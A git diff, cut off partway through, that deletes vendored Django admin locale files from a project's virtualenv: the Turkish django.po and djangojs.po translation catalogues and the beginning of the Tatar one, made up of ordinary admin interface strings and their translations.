b/backend/venv/Lib/site-packages/django/contrib/admin/locale/tr/LC_MESSAGES/django.po deleted file mode 100644 index 1a74ead0..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/tr/LC_MESSAGES/django.po +++ /dev/null @@ -1,798 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# BouRock, 2015-2025 -# BouRock, 2014-2015 -# Caner Başaran , 2013 -# Cihad GÜNDOĞDU , 2012 -# Cihad GÜNDOĞDU , 2014 -# Cihan Okyay , 2014 -# Jannis Leidel , 2011 -# Mesut Can Gürle , 2013 -# Murat Sahin , 2011 -# Yigit Guler , 2020 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2025-03-19 11:30-0500\n" -"PO-Revision-Date: 2025-04-01 15:04-0500\n" -"Last-Translator: BouRock, 2015-2025\n" -"Language-Team: Turkish (http://app.transifex.com/django/django/language/" -"tr/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: tr\n" -"Plural-Forms: nplurals=2; plural=(n > 1);\n" - -#, python-format -msgid "Delete selected %(verbose_name_plural)s" -msgstr "Seçili %(verbose_name_plural)s nesnelerini sil" - -#, python-format -msgid "Successfully deleted %(count)d %(items)s." -msgstr "%(count)d adet %(items)s başarılı olarak silindi." - -#, python-format -msgid "Cannot delete %(name)s" -msgstr "%(name)s silinemiyor" - -msgid "Delete multiple objects" -msgstr "Birden fazla nesneyi sil" - -msgid "Administration" -msgstr "Yönetim" - -msgid "All" -msgstr "Tümü" - -msgid "Yes" -msgstr "Evet" - -msgid "No" -msgstr "Hayır" - -msgid "Unknown" -msgstr "Bilinmiyor" - -msgid "Any date" -msgstr "Herhangi bir tarih" - -msgid "Today" -msgstr "Bugün" - -msgid "Past 7 days" -msgstr "Son 7 gün" - -msgid "This month" -msgstr "Bu ay" - -msgid "This year" -msgstr "Bu yıl" - -msgid "No date" -msgstr "Tarih yok" - -msgid "Has date" -msgstr "Tarih var" - -msgid "Empty" -msgstr "Boş" - -msgid "Not empty" -msgstr "Boş değil" - -#, python-format -msgid "" -"Please enter the correct %(username)s and password for a staff account. Note " -"that both fields may be case-sensitive." -msgstr "" -"Lütfen görevli hesabı için %(username)s ve parolanızı doğru girin. İki " -"alanın da büyük küçük harfe duyarlı olabildiğini unutmayın." - -msgid "Action:" -msgstr "Eylem:" - -#, python-format -msgid "Add another %(verbose_name)s" -msgstr "Başka bir %(verbose_name)s ekle" - -msgid "Remove" -msgstr "Kaldır" - -msgid "Addition" -msgstr "Ekleme" - -msgid "Change" -msgstr "Değiştir" - -msgid "Deletion" -msgstr "Silme" - -msgid "action time" -msgstr "eylem zamanı" - -msgid "user" -msgstr "kullanıcı" - -msgid "content type" -msgstr "içerik türü" - -msgid "object id" -msgstr "nesne kimliği" - -#. Translators: 'repr' means representation -#. (https://docs.python.org/library/functions.html#repr) -msgid "object repr" -msgstr "nesne kodu" - -msgid "action flag" -msgstr "eylem işareti" - -msgid "change message" -msgstr "iletiyi değiştir" - -msgid "log entry" -msgstr "günlük girdisi" - -msgid "log entries" -msgstr "günlük girdisi" - -#, python-format -msgid "Added “%(object)s”." -msgstr "“%(object)s” eklendi." - -#, python-format -msgid "Changed “%(object)s” — %(changes)s" -msgstr "“%(object)s” değiştirildi — %(changes)s" - -#, python-format -msgid "Deleted “%(object)s.”" -msgstr "“%(object)s” silindi." - -msgid "LogEntry Object" -msgstr "LogEntry Nesnesi" - -#, python-brace-format -msgid "Added {name} “{object}”." -msgstr "{name} “{object}” eklendi." - -msgid "Added." -msgstr "Eklendi." - -msgid "and" -msgstr "ve" - -#, python-brace-format -msgid "Changed {fields} for {name} “{object}”." -msgstr "{name} “{object}” için {fields} değiştirildi." - -#, python-brace-format -msgid "Changed {fields}." -msgstr "{fields} değiştirildi." - -#, python-brace-format -msgid "Deleted {name} “{object}”." -msgstr "{name} “{object}” silindi." - -msgid "No fields changed." -msgstr "Değiştirilen alanlar yok." - -msgid "None" -msgstr "Hiçbiri" - -msgid "Hold down “Control”, or “Command” on a Mac, to select more than one." -msgstr "" -"Birden fazla seçmek için “Ctrl” veya Mac’teki “Command” tuşuna basılı tutun." - -msgid "Select this object for an action - {}" -msgstr "Bir eylem için bu nesneyi seç - {}" - -#, python-brace-format -msgid "The {name} “{obj}” was added successfully." -msgstr "{name} “{obj}” başarılı olarak eklendi." - -msgid "You may edit it again below." -msgstr "Aşağıdan bunu tekrar düzenleyebilirsiniz." - -#, python-brace-format -msgid "" -"The {name} “{obj}” was added successfully. You may add another {name} below." -msgstr "" -"{name} “{obj}” başarılı olarak eklendi. Aşağıda başka bir {name} " -"ekleyebilirsiniz." - -#, python-brace-format -msgid "" -"The {name} “{obj}” was changed successfully. You may edit it again below." -msgstr "" -"{name} “{obj}” başarılı olarak değiştirildi. Aşağıda tekrar " -"düzenleyebilirsiniz." - -#, python-brace-format -msgid "" -"The {name} “{obj}” was changed successfully. You may add another {name} " -"below." -msgstr "" -"{name} “{obj}” başarılı olarak değiştirildi. Aşağıda başka bir {name} " -"ekleyebilirsiniz." - -#, python-brace-format -msgid "The {name} “{obj}” was changed successfully." -msgstr "{name} “{obj}” başarılı olarak değiştirildi." - -msgid "" -"Items must be selected in order to perform actions on them. No items have " -"been changed." -msgstr "" -"Bunlar üzerinde eylemlerin uygulanması için öğeler seçilmek zorundadır. Hiç " -"öğe değiştirilmedi." - -msgid "No action selected." -msgstr "Seçilen eylem yok." - -#, python-format -msgid "The %(name)s “%(obj)s” was deleted successfully." -msgstr "%(name)s “%(obj)s” başarılı olarak silindi." - -#, python-format -msgid "%(name)s with ID “%(key)s” doesn’t exist. Perhaps it was deleted?" -msgstr "“%(key)s” kimliği olan %(name)s mevcut değil. Belki silinmiş midir?" - -#, python-format -msgid "Add %s" -msgstr "%s ekle" - -#, python-format -msgid "Change %s" -msgstr "%s değiştir" - -#, python-format -msgid "View %s" -msgstr "%s göster" - -msgid "Database error" -msgstr "Veritabanı hatası" - -#, python-format -msgid "%(count)s %(name)s was changed successfully." -msgid_plural "%(count)s %(name)s were changed successfully." -msgstr[0] "%(count)s adet %(name)s başarılı olarak değiştirildi." -msgstr[1] "%(count)s adet %(name)s başarılı olarak değiştirildi." - -#, python-format -msgid "%(total_count)s selected" -msgid_plural "All %(total_count)s selected" -msgstr[0] "%(total_count)s nesne seçildi" -msgstr[1] "Tüm %(total_count)s nesne seçildi" - -#, python-format -msgid "0 of %(cnt)s selected" -msgstr "0 / %(cnt)s nesne seçildi" - -msgid "Delete" -msgstr "Sil" - -#, python-format -msgid "Change history: %s" -msgstr "Değişiklik geçmişi: %s" - -#. Translators: Model verbose name and instance -#. representation, suitable to be an item in a -#. list. -#, python-format -msgid "%(class_name)s %(instance)s" -msgstr "%(class_name)s %(instance)s" - -#, python-format -msgid "" -"Deleting %(class_name)s %(instance)s would require deleting the following " -"protected related objects: %(related_objects)s" -msgstr "" -"%(class_name)s %(instance)s silinmesi aşağıda korunan ilgili nesnelerin de " -"silinmesini gerektirecektir: %(related_objects)s" - -msgid "Django site admin" -msgstr "Django site yöneticisi" - -msgid "Django administration" -msgstr "Django yönetimi" - -msgid "Site administration" -msgstr "Site yönetimi" - -msgid "Log in" -msgstr "Oturum aç" - -#, python-format -msgid "%(app)s administration" -msgstr "%(app)s yönetimi" - -msgid "Page not found" -msgstr "Sayfa bulunamadı" - -msgid "We’re sorry, but the requested page could not be found." -msgstr "Üzgünüz, istediğiniz sayfa bulunamadı." - -msgid "Home" -msgstr "Giriş" - -msgid "Server error" -msgstr "Sunucu hatası" - -msgid "Server error (500)" -msgstr "Sunucu hatası (500)" - -msgid "Server Error (500)" -msgstr "Sunucu Hatası (500)" - -msgid "" -"There’s been an error. It’s been reported to the site administrators via " -"email and should be fixed shortly. Thanks for your patience." -msgstr "" -"Bir hata oluştu. Site yöneticilerine e-posta yoluyla bildirildi ve kısa süre " -"içinde düzeltilecektir. Sabrınız için teşekkür ederiz." - -msgid "Run the selected action" -msgstr "Seçilen eylemi çalıştır" - -msgid "Go" -msgstr "Git" - -msgid "Click here to select the objects across all pages" -msgstr "Tüm sayfalardaki nesneleri seçmek için buraya tıklayın" - -#, python-format -msgid "Select all %(total_count)s %(module_name)s" -msgstr "Tüm %(total_count)s %(module_name)s nesnelerini seç" - -msgid "Clear selection" -msgstr "Seçimi temizle" - -msgid "Breadcrumbs" -msgstr "İçerik haritaları" - -#, python-format -msgid "Models in the %(name)s application" -msgstr "%(name)s uygulamasındaki modeller" - -msgid "Model name" -msgstr "Model adı" - -msgid "Add link" -msgstr "Bağlantı ekle" - -msgid "Change or view list link" -msgstr "Liste bağlantısını değiştir veya görüntüle" - -msgid "Add" -msgstr "Ekle" - -msgid "View" -msgstr "Göster" - -msgid "You don’t have permission to view or edit anything." -msgstr "Hiçbir şeyi düzenlemek ve göstermek için izne sahip değilsiniz." - -msgid "After you’ve created a user, you’ll be able to edit more user options." -msgstr "" -"Bir kullanıcı oluşturduktan sonra, daha fazla kullanıcı seçeneğini " -"düzenleyebileceksiniz." - -msgid "Error:" -msgstr "Hata:" - -msgid "Change password" -msgstr "Parolayı değiştir" - -msgid "Set password" -msgstr "Parola ayarla" - -msgid "Please correct the error below." -msgid_plural "Please correct the errors below." -msgstr[0] "Lütfen aşağıdaki hatayı düzeltin." -msgstr[1] "Lütfen aşağıdaki hataları düzeltin." - -#, python-format -msgid "Enter a new password for the user %(username)s." -msgstr "%(username)s kullanıcısı için yeni bir parola girin." - -msgid "" -"This action will enable password-based authentication for " -"this user." -msgstr "" -"Bu eylem, bu kullanıcı için parola tabanlı kimlik doğrulaması " -"etkinleştirecektir." - -msgid "Disable password-based authentication" -msgstr "Parola tabanlı kimlik doğrulamasını etkisizleştir" - -msgid "Enable password-based authentication" -msgstr "Parola tabanlı kimlik doğrulamasını etkinleştir" - -msgid "Skip to main content" -msgstr "Ana içeriğe atla" - -msgid "Welcome," -msgstr "Hoş Geldiniz," - -msgid "View site" -msgstr "Siteyi göster" - -msgid "Documentation" -msgstr "Belgeler" - -msgid "Log out" -msgstr "Oturumu kapat" - -#, python-format -msgid "Add %(name)s" -msgstr "%(name)s ekle" - -msgid "History" -msgstr "Geçmiş" - -msgid "View on site" -msgstr "Sitede görüntüle" - -msgid "Filter" -msgstr "Süz" - -msgid "Hide counts" -msgstr "Sayıları gizle" - -msgid "Show counts" -msgstr "Sayıları göster" - -msgid "Clear all filters" -msgstr "Tüm süzgeçleri temizle" - -msgid "Remove from sorting" -msgstr "Sıralamadan kaldır" - -#, python-format -msgid "Sorting priority: %(priority_number)s" -msgstr "Sıralama önceliği: %(priority_number)s" - -msgid "Toggle sorting" -msgstr "Sıralamayı değiştir" - -msgid "Toggle theme (current theme: auto)" -msgstr "Temayı değiştir (şu anki tema: otomatik)" - -msgid "Toggle theme (current theme: light)" -msgstr "Temayı değiştir (şu anki tema: açık)" - -msgid "Toggle theme (current theme: dark)" -msgstr "Temayı değiştir (şu anki tema: koyu)" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would result in deleting " -"related objects, but your account doesn't have permission to delete the " -"following types of objects:" -msgstr "" -"%(object_name)s '%(escaped_object)s' nesnesinin silinmesi, ilgili nesnelerin " -"silinmesi ile sonuçlanacak, ancak hesabınız aşağıdaki nesnelerin türünü " -"silmek için izine sahip değil." - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would require deleting the " -"following protected related objects:" -msgstr "" -"%(object_name)s '%(escaped_object)s' nesnesinin silinmesi, aşağıda korunan " -"ilgili nesnelerin silinmesini gerektirecek:" - -#, python-format -msgid "" -"Are you sure you want to delete the %(object_name)s \"%(escaped_object)s\"? " -"All of the following related items will be deleted:" -msgstr "" -"%(object_name)s \"%(escaped_object)s\" nesnesini silmek istediğinize emin " -"misiniz? Aşağıdaki ilgili öğelerin tümü silinecektir:" - -msgid "Objects" -msgstr "Nesneler" - -msgid "Yes, I’m sure" -msgstr "Evet, eminim" - -msgid "No, take me back" -msgstr "Hayır, beni geri götür" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would result in deleting related " -"objects, but your account doesn't have permission to delete the following " -"types of objects:" -msgstr "" -"Seçilen %(objects_name)s nesnelerinin silinmesi, ilgili nesnelerin silinmesi " -"ile sonuçlanacak, ancak hesabınız aşağıdaki nesnelerin türünü silmek için " -"izine sahip değil." - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would require deleting the following " -"protected related objects:" -msgstr "" -"Seçilen %(objects_name)s nesnelerinin silinmesi, aşağıda korunan ilgili " -"nesnelerin silinmesini gerektirecek:" - -#, python-format -msgid "" -"Are you sure you want to delete the selected %(objects_name)s? All of the " -"following objects and their related items will be deleted:" -msgstr "" -"Seçilen %(objects_name)s nesnelerini silmek istediğinize emin misiniz? " -"Aşağıdaki nesnelerin tümü ve onların ilgili öğeleri silinecektir:" - -msgid "Delete?" -msgstr "Silinsin mi?" - -#, python-format -msgid " By %(filter_title)s " -msgstr " %(filter_title)s süzgecine göre" - -msgid "Summary" -msgstr "Özet" - -msgid "Recent actions" -msgstr "Son eylemler" - -msgid "My actions" -msgstr "Eylemlerim" - -msgid "None available" -msgstr "Mevcut değil" - -msgid "Added:" -msgstr "Eklendi:" - -msgid "Changed:" -msgstr "Değiştirildi:" - -msgid "Deleted:" -msgstr "Silindi:" - -msgid "Unknown content" -msgstr "Bilinmeyen içerik" - -msgid "" -"Something’s wrong with your database installation. Make sure the appropriate " -"database tables have been created, and make sure the database is readable by " -"the appropriate user." -msgstr "" -"Veritabanı kurulumunuz ile ilgili birşeyler yanlış. Uygun veritabanı " -"tablolarının oluşturulduğundan ve veritabanının uygun kullanıcı tarafından " -"okunabilir olduğundan emin olun." - -#, python-format -msgid "" -"You are authenticated as %(username)s, but are not authorized to access this " -"page. Would you like to login to a different account?" -msgstr "" -"%(username)s olarak kimlik doğrulamanız yapıldı, ancak bu sayfaya erişmek " -"için yetkili değilsiniz. Farklı bir hesapla oturum açmak ister misiniz?" - -msgid "Forgotten your login credentials?" -msgstr "Oturum açma kimlik bilgilerinizi mi unuttunuz?" - -msgid "Toggle navigation" -msgstr "Gezinmeyi aç/kapat" - -msgid "Sidebar" -msgstr "Kenar çubuğu" - -msgid "Start typing to filter…" -msgstr "Süzmek için yazmaya başlayın..." - -msgid "Filter navigation items" -msgstr "Gezinti öğelerini süz" - -msgid "Date/time" -msgstr "Tarih/saat" - -msgid "User" -msgstr "Kullanıcı" - -msgid "Action" -msgstr "Eylem" - -msgid "entry" -msgid_plural "entries" -msgstr[0] "giriş" -msgstr[1] "giriş" - -msgid "" -"This object doesn’t have a change history. It probably wasn’t added via this " -"admin site." -msgstr "" -"Bu nesne değişme geçmişine sahip değil. Muhtemelen bu yönetici sitesi " -"aracılığıyla eklenmedi." - -msgid "Show all" -msgstr "Tümünü göster" - -msgid "Save" -msgstr "Kaydet" - -msgid "Popup closing…" -msgstr "Açılır pencere kapanıyor…" - -msgid "Search" -msgstr "Ara" - -#, python-format -msgid "%(counter)s result" -msgid_plural "%(counter)s results" -msgstr[0] "%(counter)s sonuç" -msgstr[1] "%(counter)s sonuç" - -#, python-format -msgid "%(full_result_count)s total" -msgstr "toplam %(full_result_count)s" - -msgid "Save as new" -msgstr "Yeni olarak kaydet" - -msgid "Save and add another" -msgstr "Kaydet ve başka birini ekle" - -msgid "Save and continue editing" -msgstr "Kaydet ve düzenlemeye devam et" - -msgid "Save and view" -msgstr "Kaydet ve göster" - -msgid "Close" -msgstr "Kapat" - -#, python-format -msgid "Change selected %(model)s" -msgstr "Seçilen %(model)s değiştir" - -#, python-format -msgid "Add another %(model)s" -msgstr "Başka bir %(model)s ekle" - -#, python-format -msgid "Delete selected %(model)s" -msgstr "Seçilen %(model)s sil" - -#, python-format -msgid "View selected %(model)s" -msgstr "Seçilen %(model)s görüntüle" - -msgid "Thanks for spending some quality time with the web site today." -msgstr "Bugün web sitesine ayırdığınız kaliteli zaman için teşekkür ederiz." - -msgid "Log in again" -msgstr "Tekrar oturum aç" - -msgid "Password change" -msgstr "Parola değiştime" - -msgid "Your password was changed." -msgstr "Parolanız değiştirildi." - -msgid "" -"Please enter your old password, for security’s sake, and then enter your new " -"password twice so we can verify you typed it in correctly." -msgstr "" -"Güvenliğiniz için, lütfen eski parolanızı girin, ve ondan sonra yeni " -"parolanızı iki kere girin böylece doğru olarak yazdığınızı doğrulayabilelim." - -msgid "Change my password" -msgstr "Parolamı değiştir" - -msgid "Password reset" -msgstr "Parolayı sıfırla" - -msgid "Your password has been set. You may go ahead and log in now." -msgstr "Parolanız ayarlandı. Şimdi devam edebilir ve oturum açabilirsiniz." - -msgid "Password reset confirmation" -msgstr "Parola sıfırlama onayı" - -msgid "" -"Please enter your new password twice so we can verify you typed it in " -"correctly." -msgstr "" -"Lütfen yeni parolanızı iki kere girin böylece böylece doğru olarak " -"yazdığınızı doğrulayabilelim." - -msgid "New password:" -msgstr "Yeni parola:" - -msgid "Confirm password:" -msgstr "Parolayı onayla:" - -msgid "" -"The password reset link was invalid, possibly because it has already been " -"used. Please request a new password reset." -msgstr "" -"Parola sıfırlama bağlantısı geçersiz olmuş, çünkü zaten kullanılmış. Lütfen " -"yeni bir parola sıfırlama isteyin." - -msgid "" -"We’ve emailed you instructions for setting your password, if an account " -"exists with the email you entered. You should receive them shortly." -msgstr "" -"Eğer girdiğiniz e-posta ile bir hesabınız varsa, parolanızın ayarlanması " -"için size talimatları e-posta ile gönderdik. En kısa sürede almalısınız." - -msgid "" -"If you don’t receive an email, please make sure you’ve entered the address " -"you registered with, and check your spam folder." -msgstr "" -"Eğer bir e-posta almadıysanız, lütfen kayıt olurken girdiğiniz adresi " -"kullandığınızdan emin olun ve istenmeyen mesajlar klasörünü kontrol edin." - -#, python-format -msgid "" -"You're receiving this email because you requested a password reset for your " -"user account at %(site_name)s." -msgstr "" -"Bu e-postayı alıyorsunuz çünkü %(site_name)s sitesindeki kullanıcı hesabınız " -"için bir parola sıfırlama istediniz." - -msgid "Please go to the following page and choose a new password:" -msgstr "Lütfen şurada belirtilen sayfaya gidin ve yeni bir parola seçin:" - -msgid "In case you’ve forgotten, you are:" -msgstr "Unutmuş olmanız durumunda, siz:" - -msgid "Thanks for using our site!" -msgstr "Sitemizi kullandığınız için teşekkürler!" - -#, python-format -msgid "The %(site_name)s team" -msgstr "%(site_name)s ekibi" - -msgid "" -"Forgotten your password? Enter your email address below, and we’ll email " -"instructions for setting a new one." -msgstr "" -"Parolanızı mı unuttunuz? Aşağıya e-posta adresinizi girin ve yeni bir tane " -"ayarlamak için talimatları e-posta ile gönderelim." - -msgid "Email address:" -msgstr "E-posta adresi:" - -msgid "Reset my password" -msgstr "Parolamı sıfırla" - -msgid "Select all objects on this page for an action" -msgstr "Bir eylem için bu sayfadaki tüm nesneleri seç" - -msgid "All dates" -msgstr "Tüm tarihler" - -#, python-format -msgid "Select %s" -msgstr "%s seç" - -#, python-format -msgid "Select %s to change" -msgstr "Değiştirmek için %s seçin" - -#, python-format -msgid "Select %s to view" -msgstr "Göstermek için %s seçin" - -msgid "Date:" -msgstr "Tarih:" - -msgid "Time:" -msgstr "Saat:" - -msgid "Lookup" -msgstr "Arama" - -msgid "Currently:" -msgstr "Şu anda:" - -msgid "Change:" -msgstr "Değiştir:" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/tr/LC_MESSAGES/djangojs.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/tr/LC_MESSAGES/djangojs.mo deleted file mode 100644 index 73fb0bad..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/tr/LC_MESSAGES/djangojs.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/tr/LC_MESSAGES/djangojs.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/tr/LC_MESSAGES/djangojs.po deleted file mode 100644 index 3c1cc9df..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/tr/LC_MESSAGES/djangojs.po +++ /dev/null @@ -1,315 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# BouRock, 2015-2016,2019-2023,2025 -# BouRock, 2014 -# Jannis Leidel , 2011 -# Metin Amiroff , 2011 -# Murat Çorlu , 2012 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2025-03-25 15:04-0500\n" -"PO-Revision-Date: 2025-04-01 15:04-0500\n" -"Last-Translator: BouRock, 2015-2016,2019-2023,2025\n" -"Language-Team: Turkish (http://app.transifex.com/django/django/language/" -"tr/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: tr\n" -"Plural-Forms: nplurals=2; plural=(n > 1);\n" - -#, javascript-format -msgid "Available %s" -msgstr "Mevcut %s" - -#, javascript-format -msgid "" -"Choose %s by selecting them and then select the \"Choose\" arrow button." -msgstr "Bunları seçerek %s seçin ve ardından \"Seç\" ok düğmesine tıklayın." - -#, javascript-format -msgid "Type into this box to filter down the list of available %s." -msgstr "Mevcut %s listesini süzmek için bu kutu içine yazın." - -msgid "Filter" -msgstr "Süzgeç" - -#, javascript-format -msgid "Choose all %s" -msgstr "Tüm %s seç" - -#, javascript-format -msgid "Choose selected %s" -msgstr "Seçilen %s seç" - -#, javascript-format -msgid "Remove selected %s" -msgstr "Seçilen %s kaldır" - -#, javascript-format -msgid "Chosen %s" -msgstr "Seçilen %s" - -#, javascript-format -msgid "" -"Remove %s by selecting them and then select the \"Remove\" arrow button." -msgstr "" -"Bunları seçerek %s kaldırın ve ardından \"Kaldır\" ok düğmesine tıklayın." - -#, javascript-format -msgid "Type into this box to filter down the list of selected %s." -msgstr "Seçilen %s listesini süzmek için bu kutu içine yazın." - -msgid "(click to clear)" -msgstr "(temizlemek için tıklayın)" - -#, javascript-format -msgid "Remove all %s" -msgstr "Tüm %s kaldır" - -#, javascript-format -msgid "%s selected option not visible" -msgid_plural "%s selected options not visible" -msgstr[0] "%s seçilen seçenek görünür değil" -msgstr[1] "%s seçilen seçenek görünür değil" - -msgid "%(sel)s of %(cnt)s selected" -msgid_plural "%(sel)s of %(cnt)s selected" -msgstr[0] "%(sel)s / %(cnt)s seçildi" -msgstr[1] "%(sel)s / %(cnt)s seçildi" - -msgid "" -"You have unsaved changes on individual editable fields. If you run an " -"action, your unsaved changes will be lost." -msgstr "" -"Bireysel düzenlenebilir alanlarda kaydedilmemiş değişiklikleriniz var. Eğer " -"bir eylem çalıştırırsanız, kaydedilmemiş değişiklikleriniz kaybolacaktır." - -msgid "" -"You have selected an action, but you haven’t saved your changes to " -"individual fields yet. Please click OK to save. You’ll need to re-run the " -"action." -msgstr "" -"Bir eylem seçtiniz, ancak değişikliklerinizi tek tek alanlara kaydetmediniz. " -"Kaydetmek için lütfen TAMAM düğmesine tıklayın. Eylemi yeniden çalıştırmanız " -"gerekecek." - -msgid "" -"You have selected an action, and you haven’t made any changes on individual " -"fields. You’re probably looking for the Go button rather than the Save " -"button." -msgstr "" -"Bir eylem seçtiniz, ancak tek tek alanlarda herhangi bir değişiklik " -"yapmadınız. Muhtemelen Kaydet düğmesi yerine Git düğmesini arıyorsunuz." - -msgid "Now" -msgstr "Şimdi" - -msgid "Midnight" -msgstr "Geceyarısı" - -msgid "6 a.m." -msgstr "Sabah 6" - -msgid "Noon" -msgstr "Öğle" - -msgid "6 p.m." -msgstr "6 ö.s." - -#, javascript-format -msgid "Note: You are %s hour ahead of server time." -msgid_plural "Note: You are %s hours ahead of server time." -msgstr[0] "Not: Sunucu saatinin %s saat ilerisindesiniz." -msgstr[1] "Not: Sunucu saatinin %s saat ilerisindesiniz." - -#, javascript-format -msgid "Note: You are %s hour behind server time." -msgid_plural "Note: You are %s hours behind server time." -msgstr[0] "Not: Sunucu saatinin %s saat gerisindesiniz." -msgstr[1] "Not: Sunucu saatinin %s saat gerisindesiniz." - -msgid "Choose a Time" -msgstr "Bir Saat Seçin" - -msgid "Choose a time" -msgstr "Bir saat seçin" - -msgid "Cancel" -msgstr "İptal" - -msgid "Today" -msgstr "Bugün" - -msgid "Choose a Date" -msgstr "Bir Tarih Seçin" - -msgid "Yesterday" -msgstr "Dün" - -msgid "Tomorrow" -msgstr "Yarın" - -msgid "January" -msgstr "Ocak" - -msgid "February" -msgstr "Şubat" - -msgid "March" -msgstr "Mart" - -msgid "April" -msgstr "Nisan" - -msgid "May" -msgstr "Mayıs" - -msgid "June" -msgstr "Haziran" - -msgid "July" -msgstr "Temmuz" - -msgid "August" -msgstr "Ağustos" - -msgid "September" -msgstr "Eylül" - -msgid "October" -msgstr "Ekim" - -msgid "November" -msgstr "Kasım" - -msgid "December" -msgstr "Aralık" - -msgctxt "abbrev. month January" -msgid "Jan" -msgstr "Oca" - -msgctxt "abbrev. month February" -msgid "Feb" -msgstr "Şub" - -msgctxt "abbrev. month March" -msgid "Mar" -msgstr "Mar" - -msgctxt "abbrev. month April" -msgid "Apr" -msgstr "Nis" - -msgctxt "abbrev. month May" -msgid "May" -msgstr "May" - -msgctxt "abbrev. month June" -msgid "Jun" -msgstr "Haz" - -msgctxt "abbrev. month July" -msgid "Jul" -msgstr "Tem" - -msgctxt "abbrev. month August" -msgid "Aug" -msgstr "Ağu" - -msgctxt "abbrev. month September" -msgid "Sep" -msgstr "Eyl" - -msgctxt "abbrev. month October" -msgid "Oct" -msgstr "Eki" - -msgctxt "abbrev. month November" -msgid "Nov" -msgstr "Kas" - -msgctxt "abbrev. month December" -msgid "Dec" -msgstr "Ara" - -msgid "Sunday" -msgstr "Pazar" - -msgid "Monday" -msgstr "Pazartesi" - -msgid "Tuesday" -msgstr "Salı" - -msgid "Wednesday" -msgstr "Çarşamba" - -msgid "Thursday" -msgstr "Perşembe" - -msgid "Friday" -msgstr "Cuma" - -msgid "Saturday" -msgstr "Cumartesi" - -msgctxt "abbrev. day Sunday" -msgid "Sun" -msgstr "Paz" - -msgctxt "abbrev. day Monday" -msgid "Mon" -msgstr "Pzt" - -msgctxt "abbrev. day Tuesday" -msgid "Tue" -msgstr "Sal" - -msgctxt "abbrev. day Wednesday" -msgid "Wed" -msgstr "Çrş" - -msgctxt "abbrev. day Thursday" -msgid "Thur" -msgstr "Per" - -msgctxt "abbrev. day Friday" -msgid "Fri" -msgstr "Cum" - -msgctxt "abbrev. day Saturday" -msgid "Sat" -msgstr "Cmt" - -msgctxt "one letter Sunday" -msgid "S" -msgstr "P" - -msgctxt "one letter Monday" -msgid "M" -msgstr "Pt" - -msgctxt "one letter Tuesday" -msgid "T" -msgstr "S" - -msgctxt "one letter Wednesday" -msgid "W" -msgstr "Ç" - -msgctxt "one letter Thursday" -msgid "T" -msgstr "Pe" - -msgctxt "one letter Friday" -msgid "F" -msgstr "C" - -msgctxt "one letter Saturday" -msgid "S" -msgstr "Ct" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/tt/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/tt/LC_MESSAGES/django.mo deleted file mode 100644 index 6bfde60a..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/tt/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/tt/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/tt/LC_MESSAGES/django.po deleted file mode 100644 index 9d0260bc..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/tt/LC_MESSAGES/django.po +++ /dev/null @@ -1,655 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Azat Khasanshin , 2011 -# v_ildar , 2014 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2017-01-19 16:49+0100\n" -"PO-Revision-Date: 2017-09-19 16:40+0000\n" -"Last-Translator: Jannis Leidel \n" -"Language-Team: Tatar (http://www.transifex.com/django/django/language/tt/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: tt\n" -"Plural-Forms: nplurals=1; plural=0;\n" - -#, python-format -msgid "Successfully deleted %(count)d %(items)s." -msgstr "%(count)d %(items)s уңышлы рәвештә бетерелгән." - -#, python-format -msgid "Cannot delete %(name)s" -msgstr "%(name)s бетереп булмады" - -msgid "Are you sure?" -msgstr "Сез инанып карар кылдыгызмы?" - -#, python-format -msgid "Delete selected %(verbose_name_plural)s" -msgstr "Сайланган %(verbose_name_plural)s бетерергә" - -msgid "Administration" -msgstr "" - -msgid "All" -msgstr "Барысы" - -msgid "Yes" -msgstr "Әйе" - -msgid "No" -msgstr "Юк" - -msgid "Unknown" -msgstr "Билгесез" - -msgid "Any date" -msgstr "Теләсә нинди көн һәм вакыт" - -msgid "Today" -msgstr "Бүген" - -msgid "Past 7 days" -msgstr "Соңгы 7 көн" - -msgid "This month" -msgstr "Бу ай" - -msgid "This year" -msgstr "Бу ел" - -msgid "No date" -msgstr "" - -msgid "Has date" -msgstr "" - -#, python-format -msgid "" -"Please enter the correct %(username)s and password for a staff account. Note " -"that both fields may be case-sensitive." -msgstr "" - -msgid "Action:" -msgstr "Гамәл:" - -#, python-format -msgid "Add another %(verbose_name)s" -msgstr "Тагын бер %(verbose_name)s өстәргә" - -msgid "Remove" -msgstr "Бетерергә" - -msgid "action time" -msgstr "гамәл вакыты" - -msgid "user" -msgstr "" - -msgid "content type" -msgstr "" - -msgid "object 